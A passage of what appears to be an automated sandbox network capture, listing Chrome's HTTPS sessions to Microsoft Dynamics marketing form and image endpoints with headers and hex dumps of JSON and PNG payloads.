.twoOptionFormFieldBlock div.twooption_checkbox > div, .optionSetFormFieldBlock div.radiobuttons > div, .multiOptionSetFormFieldB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.17	49735	13.107.246.69	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:57 UTC	422	OUT	GET /usa/FormLoader/public/locales/en-us/translation.json HTTP/1.1 Host: cxppusa1formui01cdnsa01-endpoint.azureedge.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:42:57 UTC	628	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:42:57 GMT Content-Type: application/json Content-Length: 1304 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 27 Feb 2024 09:22:19 GMT ETag: 0x8DC377598F59007 x-ms-request-id: 294103bd-a01e-008e-7dba-95f8d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * x-azure-ref: 20240424T134257Z-168bb8d798bmmxfd6g2ey15u1400000008ag000000001t2r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-24 13:42:57 UTC	1304	IN	Data Raw: 7b 0d 0a 20 20 22 46 6f 72 6d 46 61 69 6c 65 64 54 6f 4c 6f 61 64 22 3a 20 22 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 66 6f 72 6d 22 2c 0d 0a 20 20 22 46 6f 72 6d 46 61 69 6c 65 64 54 6f 4c 6f 61 64 43 6f 72 73 22 3a 20 22 54 68 65 20 66 6f 72 6d 20 63 61 6e 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 20 6f 6e 20 61 20 64 6f 6d 61 69 6e 20 74 68 61 74 20 68 61 73 6e 27 74 20 62 65 65 6e 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 65 78 74 65 72 6e 61 6c 20 66 6f 72 6d 20 68 6f 73 74 69 6e 67 20 6f 72 20 74 68 65 72 65 20 69 73 20 61 20 6e 65 74 77 6f 72 6b 20 63 6f 6e 6e 65 63 74 69 76 69 74 79 20 69 73 73 75 65 22 2c 0d 0a 20 20 22 4c 65 61 72 6e 4d 6f 72 65 22 3a 20 22 4c 65 61 72 6e 20 6d 6f 72 65 22 2c 0d 0a 20 20 22 46 6f 72 6d 53 75 62 6d 69 74 74 65 Data Ascii: { "FormFailedToLoad": "Failed to load form", "FormFailedToLoadCors": "The form can not be loaded on a domain that hasn't been allowed for external form hosting or there is a network connectivity issue", "LearnMore": "Learn more", "FormSubmitte

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.17	49736	52.146.76.30	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:57 UTC	605	OUT	OPTIONS /api/v1.0/orgs/97791573-a900-ef11-9f85-00224828202e/landingpageforms/forms/beb26e16-c500-ef11-a1fd-6045bdd3b636/visits HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://assets-usa.mkt.dynamics.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:42:57 UTC	383	IN	HTTP/1.1 204 No Content Server: nginx Date: Wed, 24 Apr 2024 13:42:57 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Methods: GET,POST Access-Control-Allow-Origin: https://assets-usa.mkt.dynamics.com x-ms-trace-id: 30572dc98b22c0a8c123649f95be3383 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.17	49732	13.107.246.69	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:58 UTC	668	OUT	GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ef5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:00 UTC	484	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:42:59 GMT Content-Type: image/png Content-Length: 57945 Connection: close Access-Control-Allow-Origin: * x-ms-trace-id: 960ec994404aed909853cdd9e89d1dfa Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240424T134258Z-168bb8d798b8nl86frq151a46000000005u0000000003ap2 Cache-Control: public, max-age=2592000 x-fd-int-roxy-purgeid: 69112800 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-24 13:43:00 UTC	15900	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 c2 00 00 02 00 08 06 00 00 00 88 32 0a 66 00 00 0c 3d 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 52 21 b4 00 02 52 42 6f 82 88 94 00 52 42 68 a1 77 04 51 09 49 80 50 62 0c 04 15 3b ba a8 e0 da c5 02 36 74 55 44 c1 0a 88 05 45 ec 2c 8a bd 2f 16 14 94 75 b1 60 57 de a4 80 ae fb ca f7 ce f7 cd bd ff fd e7 cc 7f ce 9c 3b b7 0c 00 ea 27 b8 62 71 2e aa 01 40 9e a8 40 12 1b ec cf 18 9b 9c c2 20 75 03 04 a0 00 03 04 40 e6 f2 f2 c5 ac e8 e8 70 00 6d f0 fc 77 7b 77 03 7a 43 bb ea 20 d3 fa 67 ff 7f 35 4d be 20 9f 07 00 12 0d 71 3a 3f 9f 97 07 f1 41 00 f0 4a 9e 58 52 00 00 51 c6 9b 4f 29 10 cb 30 6c 40 5b 02 13 84 78 a1 0c 67 2a 70 a5 0c a7 2b f0 5e b9 4f 7c 2c 1b e2 56 Data Ascii: PNGIHDR2f=iCCPICC ProfileHWXS[R!RBoRBhwQIPb;6tUDE,/u`W;'bq.@@ u@pmw{wzC g5M q:?AJXRQO)0l@[xg*p+^O\|,V
2024-04-24 13:43:00 UTC	16384	IN	Data Raw: 22 8c a4 11 24 40 02 24 40 02 24 f0 57 02 14 c2 ac 0a 99 25 00 21 6c d6 84 46 da 6f d6 b2 c9 c3 0f 3f cc d9 e0 48 42 c9 5f 30 6b bb ed 23 70 37 66 f3 29 2a 39 e1 84 13 dc 53 dc 27 01 12 20 01 12 20 81 8a 20 40 21 5c 11 c5 40 23 8a 21 60 7e d1 4b cc 0b 2a 32 67 ce 1c 31 3f 34 61 67 81 cd cb 27 76 e6 f1 db df fe b6 7d 1c 8f b5 c7 74 e5 23 60 5e 26 f2 d7 01 9b 37 bf e5 9c 73 ce 91 6f 7e f3 9b e5 33 80 29 91 00 09 90 00 09 90 40 01 04 28 84 0b 80 45 af 24 40 02 f1 08 e0 c5 17 de 84 c4 63 45 5f 24 40 02 24 40 02 e9 11 a0 10 4e 8f 3d 53 26 01 12 20 01 12 20 01 12 20 01 12 48 91 00 85 70 8a f0 99 34 09 90 00 09 90 00 09 90 00 09 90 40 7a 04 28 84 d3 63 cf 94 49 80 04 48 80 04 48 80 04 48 80 04 52 24 40 21 9c 22 7c 26 4d 02 24 40 02 24 40 02 24 40 02 24 90 1e 01 Data Ascii: "$@$@$W%!lFo?HB_0k#p7f)9S' @!\@#!`~K2g1?4ag'v}t#`^&7so~3)@(E$@cE_$@$@N=S& Hp4@z(cIHHHR$@!"\|&M$@$@$@$
2024-04-24 13:43:00 UTC	16384	IN	Data Raw: 75 09 c4 d3 5f 19 22 2e 0b 32 f8 f1 b5 16 4c 7e 7a 9b da 11 c2 b0 5a 73 fd ac 96 2e 5d 18 04 12 11 a8 9b 9e b7 6e 61 87 1f e6 af 72 3e fa bc 45 3d 8e 55 08 eb 16 ec 40 0f 3d d6 fc ad 69 31 77 ab 70 d3 6f da fc 60 87 b4 bc 5d 97 fa 7c 6a 9e 4a 83 b0 f8 e3 f1 11 75 2c 6e 21 ac 7f 48 c6 d7 0d 7f 00 c6 1f 35 a1 fd 30 76 a3 7c b0 b8 72 b9 f5 6b c4 9f 10 b6 8e d7 de f8 70 9a 85 15 c2 48 07 cb 80 71 7f e1 3d a6 9b 71 1e f9 11 c2 7a 58 58 98 39 0d eb 5e ef ef 56 21 8c 31 9f cb 01 11 6b bd ae 75 23 84 af a9 13 b8 47 ea 0f 77 18 bf 0b 9a ae 5d 21 cc d3 34 ac 75 b5 9e fb ba 7f eb 6f f3 f4 b4 f4 69 36 56 03 9a fe d6 0b 2b 48 58 f3 d2 cf f5 b9 d5 d6 fe a7 87 93 63 fb ba ef 8c 11 c2 68 d4 2d 07 12 5d 6d 86 fe e7 7a 56 cd f9 5d bd 27 ce 10 ba 63 e7 ba e7 7c c2 32 8c 0f Data Ascii: u_".2L~zZs.]nar>E=U@=i1wpo`]\|jJu,n!H50v\|rkpHq=qzXX9^V!1ku#Gw]!4uoi6V+HXch-]mzV]'c\|2
2024-04-24 13:43:00 UTC	9277	IN	Data Raw: 5f 9e b6 1d 1e 01 03 2d 9f 96 9f c4 74 21 1c 16 ad 96 99 c2 64 68 1b 5b 8d aa 35 e9 b7 b7 bf b5 11 f2 54 10 5f cb a7 9d 0a 61 ff 28 bf 42 b8 42 ab ab a9 e9 f3 6f d8 cf 40 0b f9 de 5d 7f d2 21 f5 f1 58 61 b6 d4 e8 fd 6a b5 91 76 54 b5 ac ef a5 27 53 52 d2 68 e9 4a f7 5a ed de f2 ba f2 e1 46 d4 fe a5 e6 de bc 7c ba 59 97 4f f3 19 d0 86 87 2b 2b 8d 0e ff 3b 96 ea 5e 79 3f 45 56 a8 46 e1 d1 15 8c 9f c0 0e 14 b5 a0 42 18 e9 fe b0 39 99 66 6c d1 d6 c0 56 4a 16 62 56 17 bf 04 11 ab c2 42 d4 b2 d0 45 5c f7 f1 a9 f0 ca 8c 7c 4a f8 1a 89 b8 d3 21 97 bb cf b3 80 46 5c 6c 35 2a 86 d1 b8 7b ab 9b 1f c8 ba 5d e5 ff 60 11 10 21 1c 2c 92 92 8e 10 10 02 42 a0 80 04 7e 5b 7a 98 06 7f ea fe 18 ae 80 49 78 44 8b f9 f7 13 8a 2c d7 80 22 cb 37 f4 70 f7 77 12 1d 15 4e eb 66 e4 Data Ascii: _-t!dh[5T_a(BBo@]!XajvT'SRhJZF\|YO++;^y?EVFB9flVJbVBE\\|J!F\l5*{]`!,B~[zIxD,"7pwNf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.17	49737	52.146.76.30	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:58 UTC	715	OUT	POST /api/v1.0/orgs/97791573-a900-ef11-9f85-00224828202e/landingpageforms/forms/beb26e16-c500-ef11-a1fd-6045bdd3b636/visits HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive Content-Length: 153 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://assets-usa.mkt.dynamics.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:42:58 UTC	153	OUT	Data Raw: 7b 22 70 61 67 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d 69 63 73 2e 63 6f 6d 2f 39 37 37 39 31 35 37 33 2d 61 39 30 30 2d 65 66 31 31 2d 39 66 38 35 2d 30 30 32 32 34 38 32 38 32 30 32 65 2f 64 69 67 69 74 61 6c 61 73 73 65 74 73 2f 73 74 61 6e 64 61 6c 6f 6e 65 66 6f 72 6d 73 2f 62 65 62 32 36 65 31 36 2d 63 35 30 30 2d 65 66 31 31 2d 61 31 66 64 2d 36 30 34 35 62 64 64 33 62 36 33 36 22 7d Data Ascii: {"pageUrl":"https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636"}
2024-04-24 13:42:59 UTC	366	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 13:42:58 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: https://assets-usa.mkt.dynamics.com x-ms-trace-id: 75393fef2451bd37627a0ec8b127095d Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff
2024-04-24 13:42:59 UTC	54	IN	Data Raw: 32 62 0d 0a 7b 22 69 6e 74 65 72 61 63 74 69 6f 6e 53 74 61 74 75 73 22 3a 30 2c 22 65 72 72 6f 72 4d 65 73 73 61 67 65 22 3a 6e 75 6c 6c 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 2b{"interactionStatus":0,"errorMessage":null}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.17	49738	13.107.246.69	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:59 UTC	467	OUT	GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ed5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:42:59 UTC	504	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:42:59 GMT Content-Type: image/png Content-Length: 40703 Connection: close Access-Control-Allow-Origin: * x-ms-trace-id: 8694626b0604c5c54a1d7662a3854aeb Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240424T134259Z-168bb8d798bdckn765t6bhwrfn00000002sg000000009tnu Cache-Control: public, max-age=2592000 x-fd-int-roxy-purgeid: 69112800 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-24 13:42:59 UTC	15880	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 ca 00 00 01 1e 08 06 00 00 00 93 d1 33 e4 00 00 0c 3d 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 52 21 b4 00 02 52 42 6f 82 88 94 00 52 42 68 a1 77 04 51 09 49 80 50 62 0c 04 15 3b ba a8 e0 da c5 02 36 74 55 44 c1 0a 88 05 45 ec 2c 8a bd 2f 16 14 94 75 b1 60 57 de a4 80 ae fb ca f7 ce f7 cd bd ff fd e7 cc 7f ce 9c 3b b7 0c 00 ea 27 b8 62 71 2e aa 01 40 9e a8 40 12 1b ec cf 18 9b 9c c2 20 75 03 04 a0 00 03 04 40 e6 f2 f2 c5 ac e8 e8 70 00 6d f0 fc 77 7b 77 03 7a 43 bb ea 20 d3 fa 67 ff 7f 35 4d be 20 9f 07 00 12 0d 71 3a 3f 9f 97 07 f1 41 00 f0 4a 9e 58 52 00 00 51 c6 9b 4f 29 10 cb 30 6c 40 5b 02 13 84 78 a1 0c 67 2a 70 a5 0c a7 2b f0 5e b9 4f 7c 2c 1b e2 56 Data Ascii: PNGIHDR3=iCCPICC ProfileHWXS[R!RBoRBhwQIPb;6tUDE,/u`W;'bq.@@ u@pmw{wzC g5M q:?AJXRQO)0l@[xg*p+^O\|,V
2024-04-24 13:42:59 UTC	16384	IN	Data Raw: 9c 25 11 98 2a 02 88 25 27 6d fb 5d 24 39 6e f2 9a 6a bd 79 7d 22 30 59 04 6a a2 6c 27 2b 4b 22 90 08 24 02 89 c0 dc 41 60 ce 11 65 f9 54 6e 10 b1 da 97 66 e0 e6 a9 78 44 da dc 81 2d 7b b2 b8 22 10 5b d2 b6 05 e5 46 47 d4 74 71 1d 4f f6 7b f1 47 40 54 d3 0d 66 d2 35 e2 b1 98 8b ff a8 72 04 89 40 22 90 08 cc 0f 04 e6 14 51 9e 1f 90 e6 28 12 81 44 20 11 48 04 12 81 44 20 11 48 04 e6 03 02 49 94 e7 c3 2c e6 18 12 81 44 20 11 48 04 12 81 44 20 11 48 04 a6 1d 81 24 ca d3 0e 69 56 98 08 24 02 89 40 22 90 08 24 02 89 40 22 30 1f 10 48 a2 3c 1f 66 31 c7 90 08 24 02 89 40 22 90 08 24 02 89 40 22 30 ed 08 24 51 9e 76 48 b3 c2 44 20 11 48 04 12 81 44 20 11 48 04 12 81 f9 80 40 12 e5 f9 30 8b 39 86 44 20 11 48 04 12 81 44 20 11 48 04 12 81 69 47 20 89 f2 b4 43 9a 15 Data Ascii: %*%'m]$9njy}"0Yjl'+K"$A`eTnfxD-{"[FGtqO{G@Tf5r@"Q(D HD HI,D HD H$iV$@"$@"0H<f1$@"$@"0$QvHD HD H@09D HD HiG C
2024-04-24 13:42:59 UTC	8439	IN	Data Raw: 6b af bd 16 ae be fa ea 80 b0 50 66 cd 9a 15 5e 7c f1 c5 70 c3 0d 37 98 c0 25 16 ce c3 1f fe b9 8e 6e e2 e4 93 4f 0e 8d 1a 35 8a be 94 a3 bf 07 0e 1c 18 ce 3c f3 cc 70 d4 51 47 e5 68 f9 ed b1 10 df 43 48 5f b3 66 cd 62 37 8f 54 de 71 c7 1d a1 65 cb 96 c1 fb 02 11 bd fd f6 db c3 d1 47 1f 1d ce 3e fb ec c4 7a 83 06 0d 0a 7c 87 d5 af 5f df 5e 7b f3 cd 37 c3 bb ef be 1b 3a 74 e8 10 2a 54 a8 90 58 2e f9 0f 5f ce 3f 8b 17 5e 78 61 38 ec b0 c3 6c 31 c6 f2 0f 3f fc 60 52 8b 74 b6 6b d7 ce 02 0a bc c9 77 0e 13 7a ea cf 77 4e c7 8e 1d 4d a6 11 67 c6 52 b4 f0 5e f9 f2 e5 c3 ec d9 b3 03 6d 46 de 09 64 1c 70 c0 01 e1 d2 4b 2f dd 6a b2 33 67 ce 9c f0 e4 93 4f 86 1b 6f bc 31 ba 19 7b 8d ef 6b 26 72 ec 67 d4 a8 51 81 cf 94 7f ef c1 11 06 5e bc 6d d9 31 f0 e5 f5 5b 04 44 Data Ascii: kPf^\|p7%nO5<pQGhCH_fb7TqeG>z\|_^{7:t*TX._?^xa8l1?`RtkwzwNMgR^mFdpK/j3gOo1{k&rgQ^m1[D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.17	49739	13.107.246.69	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:59 UTC	467	OUT	GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ee5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:00 UTC	504	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:42:59 GMT Content-Type: image/png Content-Length: 47204 Connection: close Access-Control-Allow-Origin: * x-ms-trace-id: 5d37dc350265dfcba2bd3bf81451371e Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240424T134259Z-168bb8d798b4bst68753kwrwcg000000020g00000000fh02 Cache-Control: public, max-age=2592000 x-fd-int-roxy-purgeid: 69112800 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-24 13:43:00 UTC	15880	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 2a 00 00 01 14 08 06 00 00 00 c4 26 c2 33 00 00 0c 3d 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 52 21 b4 00 02 52 42 6f 82 88 94 00 52 42 68 a1 77 04 51 09 49 80 50 62 0c 04 15 3b ba a8 e0 da c5 02 36 74 55 44 c1 0a 88 05 45 ec 2c 8a bd 2f 16 14 94 75 b1 60 57 de a4 80 ae fb ca f7 ce f7 cd bd ff fd e7 cc 7f ce 9c 3b b7 0c 00 ea 27 b8 62 71 2e aa 01 40 9e a8 40 12 1b ec cf 18 9b 9c c2 20 75 03 04 a0 00 03 04 40 e6 f2 f2 c5 ac e8 e8 70 00 6d f0 fc 77 7b 77 03 7a 43 bb ea 20 d3 fa 67 ff 7f 35 4d be 20 9f 07 00 12 0d 71 3a 3f 9f 97 07 f1 41 00 f0 4a 9e 58 52 00 00 51 c6 9b 4f 29 10 cb 30 6c 40 5b 02 13 84 78 a1 0c 67 2a 70 a5 0c a7 2b f0 5e b9 4f 7c 2c 1b e2 56 Data Ascii: PNGIHDR&3=iCCPICC ProfileHWXS[R!RBoRBhwQIPb;6tUDE,/u`W;'bq.@@ u@pmw{wzC g5M q:?AJXRQO)0l@[xgp+^O\|,V
2024-04-24 13:43:00 UTC	16384	IN	Data Raw: 38 66 5f a2 8d e3 8f 3f 5e 46 8e 1c 19 73 f8 cc 33 cf 94 a1 43 87 c6 ec f3 6d 0c 1a 34 48 ce 3f ff fc 98 43 98 1c 8c 1b 37 2e 66 5f 6e 6d 50 a8 e4 16 49 96 43 02 79 93 c0 e6 cd 9b e5 f9 e7 9f 97 87 1f 7e d8 08 93 74 7a 71 d9 65 97 49 ef de bd a5 5e bd 7a e9 64 cf 33 79 60 5d c6 4d a5 ec a4 86 0d 1b 0a 7e 1f 20 e0 da b4 69 23 15 2a 54 c8 ce e9 d9 ce 3b 73 e6 4c d9 7f ff fd e3 ce fb f1 c7 1f e5 c8 23 8f 8c db cf 1d 24 40 02 39 27 40 a1 92 73 76 3c 73 0f 12 e8 df bf bf 74 ee dc 39 ae 06 dc 6d c3 dd b4 64 09 d6 08 dc 6d f3 a5 ed db b7 4b e1 c2 85 7d 87 a2 fb 6e ba e9 26 f9 df ff fe 17 dd c6 9b fb ef bf 5f 7a f6 ec 19 b3 2f b7 36 28 54 72 8b 64 38 cb c9 ca ca 92 09 13 26 98 09 4c c1 82 05 c3 d9 48 b6 6a af 11 18 31 62 84 5c 72 c9 25 69 0b 14 b7 a1 10 37 dd bb Data Ascii: 8f_?^Fs3Cm4H?C7.f_nmPICy~tzqeI^zd3y`]M~ i#*T;sL#$@9'@sv<st9mdmK}n&_z/6(Trd8&LHj1b\r%i7
2024-04-24 13:43:00 UTC	14940	IN	Data Raw: 0f f9 90 d3 96 1b ef e1 59 63 39 06 3b a1 2e 2e a4 d5 24 80 ca 84 16 e3 08 72 ca 7d 55 60 65 dd 8e 8b e8 09 9c 4d e2 b8 57 90 a3 82 23 a3 95 67 95 89 3e b7 bb 1f e8 0f bc d3 84 95 68 a4 57 74 bf b5 31 28 53 db 47 ed 07 2f ca e4 3d d5 df d0 af 2b 2b 29 2f e3 e1 79 dc 38 2a 16 0c 94 0f ca c0 ce ca da f7 23 b9 c7 88 62 c0 a0 0c 84 7e bc 07 84 8b 55 0b 66 73 b5 4c da 0f cf d4 15 83 90 83 dc 4d e9 a8 c3 54 39 48 cc 82 c0 6b 55 3a 78 81 0f 0c 9a 41 05 0d 62 32 06 30 b2 51 34 76 1b 58 ae ac 91 c8 03 c6 19 46 22 65 59 c7 23 2d 07 bc c1 9e 74 55 fc a4 79 cb 9e 31 dc c0 70 90 81 99 1c f6 8e 37 91 0f ea fd 58 fc 5d 15 78 b1 2b 9e 39 be e0 99 cf 39 5b a3 36 97 8e 38 d2 c0 0b 86 4a d3 50 57 d6 99 dd b2 5b cc 6c 39 18 19 4c 4c 30 70 f7 1b 68 73 3b db 5b 46 87 fe 42 bf Data Ascii: Yc9;..$r}U`eMW#g>hWt1(SG/=++)/y8*#b~UfsLMT9HkU:xAb20Q4vXF"eY#-tUy1p7X]x+99[68JPW[l9LL0phs;[FB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.17	49740	52.146.76.30	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:59 UTC	468	OUT	GET /api/v1.0/orgs/97791573-a900-ef11-9f85-00224828202e/landingpageforms/forms/beb26e16-c500-ef11-a1fd-6045bdd3b636/visits HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:00 UTC	218	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 24 Apr 2024 13:42:59 GMT Content-Length: 0 Connection: close x-ms-trace-id: e8e9550c23fbd946b636379dc5cdd8b5 Strict-Transport-Security: max-age=2592000; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.17	49741	13.107.246.69	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:00 UTC	467	OUT	GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ef5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:01 UTC	504	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:01 GMT Content-Type: image/png Content-Length: 57945 Connection: close Access-Control-Allow-Origin: * x-ms-trace-id: 960ec994404aed909853cdd9e89d1dfa Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240424T134301Z-168bb8d798bj2crg3us8a5psdg00000003rg000000001fcu Cache-Control: public, max-age=2592000 x-fd-int-roxy-purgeid: 69112800 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-24 13:43:01 UTC	15880	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 c2 00 00 02 00 08 06 00 00 00 88 32 0a 66 00 00 0c 3d 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 52 21 b4 00 02 52 42 6f 82 88 94 00 52 42 68 a1 77 04 51 09 49 80 50 62 0c 04 15 3b ba a8 e0 da c5 02 36 74 55 44 c1 0a 88 05 45 ec 2c 8a bd 2f 16 14 94 75 b1 60 57 de a4 80 ae fb ca f7 ce f7 cd bd ff fd e7 cc 7f ce 9c 3b b7 0c 00 ea 27 b8 62 71 2e aa 01 40 9e a8 40 12 1b ec cf 18 9b 9c c2 20 75 03 04 a0 00 03 04 40 e6 f2 f2 c5 ac e8 e8 70 00 6d f0 fc 77 7b 77 03 7a 43 bb ea 20 d3 fa 67 ff 7f 35 4d be 20 9f 07 00 12 0d 71 3a 3f 9f 97 07 f1 41 00 f0 4a 9e 58 52 00 00 51 c6 9b 4f 29 10 cb 30 6c 40 5b 02 13 84 78 a1 0c 67 2a 70 a5 0c a7 2b f0 5e b9 4f 7c 2c 1b e2 56 Data Ascii: PNGIHDR2f=iCCPICC 